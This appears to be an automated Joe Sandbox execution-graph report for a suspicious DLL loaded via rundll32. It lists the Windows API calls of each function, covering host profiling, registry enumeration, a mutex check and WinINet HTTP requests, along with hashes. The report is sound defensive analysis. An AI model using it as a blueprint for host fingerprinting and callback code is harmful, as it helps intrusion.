Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	25.9%
Total number of Nodes:	1496
Total number of Limit Nodes:	65

Executed Functions

Function 00007FFE11501F20 Relevance: 51.1, APIs: 27, Strings: 2, Instructions: 313
networklibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE ref: 00007FFE11502027
GetProcAddress.KERNEL32 ref: 00007FFE1150206E
GetProcAddress.KERNEL32 ref: 00007FFE115020B5
GetProcAddress.KERNEL32 ref: 00007FFE115020FC
GetProcAddress.KERNEL32 ref: 00007FFE11502143
GetProcAddress.KERNEL32 ref: 00007FFE1150218A
GetProcAddress.KERNEL32 ref: 00007FFE115021D1
GetProcAddress.KERNEL32 ref: 00007FFE11502218
GetProcAddress.KERNEL32 ref: 00007FFE1150225F
InternetOpenW.WININET ref: 00007FFE11502291
InternetSetOptionW.WININET ref: 00007FFE115022C5
InternetSetOptionW.WININET ref: 00007FFE115022E0
InternetSetOptionW.WININET ref: 00007FFE115022FB
InternetConnectW.WININET ref: 00007FFE1150233C
HttpOpenRequestW.WININET ref: 00007FFE11502412
wcscpy.LIBCMT ref: 00007FFE115024B0
wcscat.LIBCMT ref: 00007FFE115024C2
SetLastError.KERNEL32 ref: 00007FFE115024D6
HttpSendRequestW.WININET ref: 00007FFE115024F9
GetLastError.KERNEL32 ref: 00007FFE1150250D
InternetQueryOptionW.WININET ref: 00007FFE1150254D
InternetSetOptionW.WININET ref: 00007FFE11502575
HttpSendRequestW.WININET ref: 00007FFE11502595
InternetReadFile.WININET ref: 00007FFE115025E8
InternetCloseHandle.WININET ref: 00007FFE11502667
InternetCloseHandle.WININET ref: 00007FFE11502675

Part of subcall function 00007FFE115069B0: GetProcessHeap.KERNEL32 ref: 00007FFE115069BE
Part of subcall function 00007FFE115069B0: HeapReAlloc.KERNEL32 ref: 00007FFE115069D6

InternetCloseHandle.WININET ref: 00007FFE11502680

Strings

`, xrefs: 00007FFE115022A8
/, xrefs: 00007FFE11502517

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: Internet$AddressProc$Option$CloseHandleHttpRequest$ErrorHeapLastOpenSend$AllocConnectFileLibraryLoadProcessQueryReadwcscatwcscpy
String ID: /$`
API String ID: 1971805275-1897241921
Opcode ID: 012db6c3d47eaee4c38ac54376f83c31a08236e5e1d12890b1faab2f80012a7a
Instruction ID: f50deccc7e2f9ca7a8a4f32e89b7174216c3f884e5f570255c1f2ccd68af08da
Opcode Fuzzy Hash: 012db6c3d47eaee4c38ac54376f83c31a08236e5e1d12890b1faab2f80012a7a
Instruction Fuzzy Hash: 0412C836908E81C5E760DB56F8543AAB3A8FB847A4F104079DA8D83A79DF7DD488CB41

Function 00007FFE115074E0 Relevance: 24.3, APIs: 16, Instructions: 286
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 00007FFE115075BA
GetProcAddress.KERNEL32 ref: 00007FFE115075F8
LoadLibraryW.KERNEL32 ref: 00007FFE1150762F
GetProcAddress.KERNEL32 ref: 00007FFE1150766D
LoadLibraryW.KERNELBASE ref: 00007FFE115076A4
GetProcAddress.KERNEL32 ref: 00007FFE115076E2
GetProcAddress.KERNEL32 ref: 00007FFE11507720
GetProcAddress.KERNEL32 ref: 00007FFE1150775E
GetProcAddress.KERNEL32 ref: 00007FFE115077A2
GetProcAddress.KERNEL32 ref: 00007FFE115077E9
GetProcAddress.KERNEL32 ref: 00007FFE11507830
GetProcAddress.KERNEL32 ref: 00007FFE11507877
LoadLibraryW.KERNEL32 ref: 00007FFE115078B7
GetProcAddress.KERNEL32 ref: 00007FFE115078FE
SetProcessDPIAware.USER32 ref: 00007FFE11507922
DeleteObject.GDI32 ref: 00007FFE11507B4B

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad$AwareDeleteObjectProcess
String ID:
API String ID: 96057529-0
Opcode ID: 8cfb5bf55d4cd5814cb5932fe69723dd0fdf4b2c5a54e68c6a7713185a63c261
Instruction ID: ecffef4a928d7926ff187ac697811ae0017b54c37f1db329e966a3c5866b6ede
Opcode Fuzzy Hash: 8cfb5bf55d4cd5814cb5932fe69723dd0fdf4b2c5a54e68c6a7713185a63c261
Instruction Fuzzy Hash: BD02DC3291DE86C5EB60EB66E8543AA73A8FB84764F4000B9DA8D43775DF7CE484CB41

Function 00007FFE115069F0 Relevance: 16.7, APIs: 11, Instructions: 207
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 00007FFE11506A6D
GetProcAddress.KERNEL32 ref: 00007FFE11506AAB
LoadLibraryW.KERNEL32 ref: 00007FFE11506AE2
GetProcAddress.KERNEL32 ref: 00007FFE11506B20
GetProcAddress.KERNEL32 ref: 00007FFE11506B5E
LoadLibraryW.KERNEL32 ref: 00007FFE11506B95
GetProcAddress.KERNEL32 ref: 00007FFE11506BD3
RtlGetVersion.NTDLL ref: 00007FFE11506C12
GetNativeSystemInfo.KERNELBASE ref: 00007FFE11506C5C
GetSystemInfo.KERNEL32 ref: 00007FFE11506C71

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad$InfoSystem$NativeVersion
String ID:
API String ID: 2883576749-0
Opcode ID: 0aea97e101c3ff36eaef724201dc58088ff3a9420ab3d2d647de2ff23f6ba47e
Instruction ID: 749c7807441b41434cb1e3f0ed16d88ab75d2f8ef9b9d754f3a694a420171061
Opcode Fuzzy Hash: 0aea97e101c3ff36eaef724201dc58088ff3a9420ab3d2d647de2ff23f6ba47e
Instruction Fuzzy Hash: 95C1FE3290CE86CAE7709B92E45437E77A8FB85724F6001B9E68D466B4CF7CE584CB11

Function 00007FFE115050D0 Relevance: 12.2, APIs: 8, Instructions: 215
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationW.KERNELBASE ref: 00007FFE1150516D
GetComputerNameW.KERNEL32 ref: 00007FFE1150519B
GetComputerNameExW.KERNELBASE ref: 00007FFE115051C1
GetUserNameW.ADVAPI32 ref: 00007FFE115051E2

Part of subcall function 00007FFE115069F0: LoadLibraryW.KERNEL32 ref: 00007FFE11506A6D
Part of subcall function 00007FFE115069F0: GetProcAddress.KERNEL32 ref: 00007FFE11506AAB
Part of subcall function 00007FFE115069F0: LoadLibraryW.KERNEL32 ref: 00007FFE11506AE2
Part of subcall function 00007FFE115069F0: GetProcAddress.KERNEL32 ref: 00007FFE11506B20
Part of subcall function 00007FFE115069F0: GetProcAddress.KERNEL32 ref: 00007FFE11506B5E
Part of subcall function 00007FFE115069F0: LoadLibraryW.KERNEL32 ref: 00007FFE11506B95
Part of subcall function 00007FFE115069F0: GetProcAddress.KERNEL32 ref: 00007FFE11506BD3
Part of subcall function 00007FFE115069F0: RtlGetVersion.NTDLL ref: 00007FFE11506C12

Part of subcall function 00007FFE11506160: MultiByteToWideChar.KERNEL32 ref: 00007FFE115061EC

Part of subcall function 00007FFE11501F20: LoadLibraryW.KERNELBASE ref: 00007FFE11502027
Part of subcall function 00007FFE11501F20: GetProcAddress.KERNEL32 ref: 00007FFE1150206E
Part of subcall function 00007FFE11501F20: GetProcAddress.KERNEL32 ref: 00007FFE115020B5
Part of subcall function 00007FFE11501F20: GetProcAddress.KERNEL32 ref: 00007FFE115020FC
Part of subcall function 00007FFE11501F20: GetProcAddress.KERNEL32 ref: 00007FFE11502143
Part of subcall function 00007FFE11501F20: GetProcAddress.KERNEL32 ref: 00007FFE1150218A
Part of subcall function 00007FFE11501F20: GetProcAddress.KERNEL32 ref: 00007FFE115021D1

OpenMutexW.KERNEL32 ref: 00007FFE11505C2F
CloseHandle.KERNEL32 ref: 00007FFE11505C5B
GetTickCount.KERNEL32 ref: 00007FFE11505C78
SleepEx.KERNEL32 ref: 00007FFE11505C8A

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad$Name$Computer$ByteCharCloseCountHandleInformationMultiMutexOpenSleepTickUserVersionVolumeWide
String ID:
API String ID: 410980975-0
Opcode ID: e9394c26cd00b21dbd57a55b00268abf68e6b74b96935cfacdfebeadd37971f1
Instruction ID: e092227030becf1131ea161675d648340c2a2d9b15261d6fa02384365844dfba
Opcode Fuzzy Hash: e9394c26cd00b21dbd57a55b00268abf68e6b74b96935cfacdfebeadd37971f1
Instruction Fuzzy Hash: C8C1D232618EC186E770DB66E4943AEB3A5FB84754F40417AE68D87AB9DF3CD448CB40

Function 00007FFE115015B0 Relevance: 12.1, APIs: 8, Instructions: 116
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 00007FFE11501635
GetProcAddress.KERNEL32 ref: 00007FFE11501673
GetProcAddress.KERNEL32 ref: 00007FFE115016B1
GetProcAddress.KERNEL32 ref: 00007FFE115016EF
swprintf.LIBCMTD ref: 00007FFE11501731
FindFirstFileW.KERNELBASE ref: 00007FFE1150174D
FindNextFileW.KERNELBASE ref: 00007FFE115017DD
FindClose.KERNELBASE ref: 00007FFE11501800

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressFindProc$File$CloseFirstLibraryLoadNextswprintf
String ID:
API String ID: 432991409-0
Opcode ID: 71db46e1dc4537d7a33d97d80a5c1f21eb868e22e8d370c5f460187df6bb74ed
Instruction ID: db4a84fa6982143c7c33dfe34c3a17843d863ef48f034b46a87b3d783bc23db7
Opcode Fuzzy Hash: 71db46e1dc4537d7a33d97d80a5c1f21eb868e22e8d370c5f460187df6bb74ed
Instruction Fuzzy Hash: 4561FE3691DE82C5EB50DB62F89436E73A9FB84764F000179EA8D86AB5DF3CE444CB41

Function 00007FFE115019C0 Relevance: 6.0, APIs: 4, Instructions: 35
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FFE115019F7
GetProcAddress.KERNEL32 ref: 00007FFE11501A27
GetNativeSystemInfo.KERNELBASE ref: 00007FFE11501A49
GetSystemInfo.KERNEL32 ref: 00007FFE11501A5C

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProc
String ID:
API String ID: 3433367815-0
Opcode ID: e677bc09c55e719f3190c1f42bac40b38a2ab6fa020279fe3f27c748c2806ca4
Instruction ID: f06dbabcead49a6ffaa2a1a3f39f9ba9bd6acfd41af3442893245330c3ef6a14
Opcode Fuzzy Hash: e677bc09c55e719f3190c1f42bac40b38a2ab6fa020279fe3f27c748c2806ca4
Instruction Fuzzy Hash: A1119336519E4186E760DB11E49436EB7B8FB88764F501179F6CE82AB8DF3CD988CB40

Function 00007FFE11506980 Relevance: 3.0, APIs: 2, Instructions: 9memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FFE11506989
RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FFE11506999

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: HeapLanguagesPreferredProcessRestoreThread
String ID:
API String ID: 1665715086-0
Opcode ID: 59fcb09733b26d148cb803ad4bcfdd23a7556180398aad1d468162f2fb759d25
Instruction ID: a428d5cf2f262633adb7a35786f650712776813ac4f8f25e199d73b0a9d0bf79
Opcode Fuzzy Hash: 59fcb09733b26d148cb803ad4bcfdd23a7556180398aad1d468162f2fb759d25
Instruction Fuzzy Hash: 6FC01260D15E4181D704BB67A84C055A7B6BFCC750F504078D98901234DD3C80958A00

Function 00007FFE11503A70 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 242
registrynetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00007FFE11503AE0
WSAStartup.WS2_32 ref: 00007FFE11503AF9
gethostname.WS2_32 ref: 00007FFE11503B14
gethostbyname.WS2_32 ref: 00007FFE11503B2B
inet_ntoa.WS2_32 ref: 00007FFE11503B8D
WSACleanup.WS2_32 ref: 00007FFE11503BA7
RegOpenKeyExW.KERNELBASE ref: 00007FFE11503BE6
RegEnumKeyExW.KERNELBASE ref: 00007FFE11503C5E
RegOpenKeyExW.KERNELBASE ref: 00007FFE11503C92
RegQueryValueExW.KERNELBASE ref: 00007FFE11503CCE
RegCloseKey.ADVAPI32 ref: 00007FFE11503CFA
RegCloseKey.KERNELBASE ref: 00007FFE11503D17
GlobalMemoryStatusEx.KERNELBASE ref: 00007FFE11503D3D

Strings

,, xrefs: 00007FFE11503DE2
@, xrefs: 00007FFE11503D2A

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: CloseOpen$CleanupEnumGlobalMemoryQueryStartupStatusValuegethostbynamegethostnameinet_ntoawcscpy
String ID: ,$@
API String ID: 923405552-1227015840
Opcode ID: 65caa8c5a241ffd7d47acb45c6f88a9704745af025500333e1ec2035ba852a81
Instruction ID: d012f5035a357dbfae33fa2ba75c19fb6a55825fc95bf77ab042316a3663ac6c
Opcode Fuzzy Hash: 65caa8c5a241ffd7d47acb45c6f88a9704745af025500333e1ec2035ba852a81
Instruction Fuzzy Hash: 41D1077261CA8186E760DB56E4903AEB7A5FBC4794F104029EA8D83BB9DF7DD444CF40

Function 00007FFE11503B48 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 204
registrynetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_ntoa.WS2_32 ref: 00007FFE11503B8D
WSACleanup.WS2_32 ref: 00007FFE11503BA7
RegOpenKeyExW.KERNELBASE ref: 00007FFE11503BE6
RegEnumKeyExW.KERNELBASE ref: 00007FFE11503C5E
RegOpenKeyExW.KERNELBASE ref: 00007FFE11503C92
RegQueryValueExW.KERNELBASE ref: 00007FFE11503CCE
RegCloseKey.KERNELBASE ref: 00007FFE11503D17
GlobalMemoryStatusEx.KERNELBASE ref: 00007FFE11503D3D

Strings

,, xrefs: 00007FFE11503DE2
@, xrefs: 00007FFE11503D2A

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: Open$CleanupCloseEnumGlobalMemoryQueryStatusValueinet_ntoa
String ID: ,$@
API String ID: 1891009110-1227015840
Opcode ID: 63b97c74359e0a057b7be61e168736e51b464f00bf6f615fd0d09763af04dbdc
Instruction ID: ba9be3b34e3b5683afda6cd982f910ac3e4f7520af80a386146bb3762019f87b
Opcode Fuzzy Hash: 63b97c74359e0a057b7be61e168736e51b464f00bf6f615fd0d09763af04dbdc
Instruction Fuzzy Hash: 0BB1F776608A818AD760DB5AE4903AEB7B5F7C9794F104029EB8D83BA9DF7DD404CF40

Function 00007FFE11509800 Relevance: 16.6, APIs: 11, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFE11509828
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFE1150987D
__scrt_fastfail.LIBCMT ref: 00007FFE11509899
_RTC_Initialize.LIBCMT ref: 00007FFE115098B1
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 00007FFE115098D3
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFE115098EF
__scrt_release_startup_lock.LIBCMT ref: 00007FFE1150991A

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_release_startup_lock
String ID:
API String ID: 3876781719-0
Opcode ID: c6ae1502c2579020218e65238a4c269c22d830b64cbdee382b0e0d31bb45c9a4
Instruction ID: 1d34f49678ba88af66f3cdec63370f005039d64117f364af33fcc5720b4149d4
Opcode Fuzzy Hash: c6ae1502c2579020218e65238a4c269c22d830b64cbdee382b0e0d31bb45c9a4
Instruction Fuzzy Hash: 68517E21E0CE4385FB10ABE7A4522BD53A8AF553A0F9444BDE94D463FBEE2CE945C341

Function 00007FFE11504890 Relevance: 12.2, APIs: 8, Instructions: 223
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE ref: 00007FFE11504932

Part of subcall function 00007FFE11506950: GetProcessHeap.KERNEL32 ref: 00007FFE11506959
Part of subcall function 00007FFE11506950: RtlAllocateHeap.NTDLL ref: 00007FFE1150696C

RegEnumKeyExW.KERNELBASE ref: 00007FFE11504A23
RegOpenKeyExW.KERNELBASE ref: 00007FFE11504A54
RegQueryValueExW.KERNELBASE ref: 00007FFE11504A94
RegCloseKey.KERNELBASE ref: 00007FFE11504CE6

Part of subcall function 00007FFE11506890: WideCharToMultiByte.KERNEL32 ref: 00007FFE115068D7
Part of subcall function 00007FFE11506890: WideCharToMultiByte.KERNEL32 ref: 00007FFE11506938

RegQueryValueExW.KERNELBASE ref: 00007FFE11504B63
RegQueryValueExW.KERNELBASE ref: 00007FFE11504C3B
RegCloseKey.ADVAPI32 ref: 00007FFE11504D4A

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: QueryValue$ByteCharCloseHeapMultiOpenWide$AllocateEnumProcess
String ID:
API String ID: 115269039-0
Opcode ID: ec38c8757f2f3573cc8d4f1ab0689ad033bc330676511e593263a61f6042648a
Instruction ID: 036e0120f42b5caac4813346abc98ef193c9b2ac5027bdf6822700b69918eb2f
Opcode Fuzzy Hash: ec38c8757f2f3573cc8d4f1ab0689ad033bc330676511e593263a61f6042648a
Instruction Fuzzy Hash: 3DD1C53260CE8181E720DB66E4903AFA7A9FBC57A4F500179EA8D47AB9DF7DD444CB40

Function 00007FFE11509260 Relevance: 10.6, APIs: 7, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE115092B5
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE115092F3
LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE1150932A
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE11509368
GetCommandLineW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE1150937F
CommandLineToArgvW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11509490), ref: 00007FFE1150938D
LocalFree.KERNEL32 ref: 00007FFE115093F2

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressCommandLibraryLineLoadProc$ArgvFreeLocal
String ID:
API String ID: 1914251671-0
Opcode ID: 05b860a98461b70195d5c2b97518a6ca621709cc4def6e7b24c632f463f08a3e
Instruction ID: e48b50eec5357af9a703a07c7079bfa9f97defd198ccc0c20c8938f69252fb8d
Opcode Fuzzy Hash: 05b860a98461b70195d5c2b97518a6ca621709cc4def6e7b24c632f463f08a3e
Instruction Fuzzy Hash: 8A41E13291CE46C5E750DB52E89436D73B8FB84764F101179E98D466B9DF7CE884CB01

Function 00007FFE115049D4 Relevance: 9.1, APIs: 6, Instructions: 140
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumKeyExW.KERNELBASE ref: 00007FFE11504A23
RegOpenKeyExW.KERNELBASE ref: 00007FFE11504A54
RegQueryValueExW.KERNELBASE ref: 00007FFE11504A94
RegCloseKey.KERNELBASE ref: 00007FFE11504CE6

Part of subcall function 00007FFE11506890: WideCharToMultiByte.KERNEL32 ref: 00007FFE115068D7
Part of subcall function 00007FFE11506890: WideCharToMultiByte.KERNEL32 ref: 00007FFE11506938

RegQueryValueExW.KERNELBASE ref: 00007FFE11504B63
RegQueryValueExW.KERNELBASE ref: 00007FFE11504C3B
RegCloseKey.ADVAPI32 ref: 00007FFE11504D4A

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: QueryValue$ByteCharCloseMultiWide$EnumOpen
String ID:
API String ID: 1690686292-0
